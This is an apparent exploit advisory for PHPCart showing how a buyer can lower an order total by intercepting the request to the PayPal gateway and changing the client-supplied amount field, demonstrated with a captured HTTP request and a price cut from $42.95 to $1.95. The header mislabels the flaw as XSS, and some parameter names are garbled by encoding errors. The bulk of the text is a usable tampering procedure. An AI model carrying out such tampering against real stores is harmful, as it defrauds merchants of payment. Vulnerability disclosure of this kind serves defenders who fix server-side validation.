################################################################
################################################################
#-r45c4l -Bond #
################################################################
################################################################
#Exploit 1: XSS
#DESCRIPTION:
#A vulnerability in PHPCart, which can be exploited by malicious people to manipulate orders.
#The problem is that the "price" and "postage" parameters are not properly verified in "phpcart.php". This can be #exploited to
#change the price of a product being bought by modifying the "price" parameter directly using a intermediate proxy.
#POC:- http://www.site.com/phpcart/phpcart.php
#It was discovered that the main process of online merchant payment was based solely on client-side verification.
#The PHP module (phpcart.php) received the payment amount from the client-side, forwards the amount and sends back
#the total price to the backend server for further payment process.
#There was no proper validation mechanism at the backend to validate the data which had been submitted by the PHP module.
#Potential attackers could tamper the data and modify the total amount.
#Before the transaction enters the merchant gate way we captured the data using intermediate proxy and the total amount shown as $XX as shown was tampered and changed.
#POC Example:
#Extract price of purchase:-
#ID Description Price Qty. Amount
#GB1000 Golf Balls - Long Distance 1 $28.95 + $14 shipping charges so total amount is 42.95
#Intercept before manipulaion:-
#After the Verification form when the page is redirecting to payment gateway the page is intermediated. The gateway selected is Paypal.
#User-Agent: Opera/9.26 (Windows NT 5.1; U; en)
#Host: www.paypal.com
#Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1#
#Accept-Language: en-US,en;q=0.9
#Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
#Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
#Referer: http://www.phpcart.net/demo/phpcart/phpcart.php
#Cookie: KHcl0EuY7AKSMgfvHl7J5E7hPtK=VDrukd29DPvnkTqVFUSeG52gR2iAX22piQHagEGhU
#Cookie2: $Version=1
#Connection: Keep-Alive, TE
#TE: deflate, gzip, chunked, identity, trailers
#Content-Type: application/x-www-form-urlencoded
#Content-Length: 286
#cmd=_xclick&upload=1¤cy_code=USD&business=sales%40phpcart.net¬ify_url=&
#item_name=Shopping+Cart+OrderΒ±+B17B3A57D&return=&cancel_return=&invoice=B17B3A57D&
#firstname=xyz&lastname=qdqd&address1=sfsf&address2=sdfsf&city=sdfsf&state=NE&zip=sfsf&rm=2&amount=42.95&handling_cart=18.00
#Here price=42.95 was tampered and manipulated to 1.95
#and u can see that the price on the paypal gateway will be 1.95$.
################################################################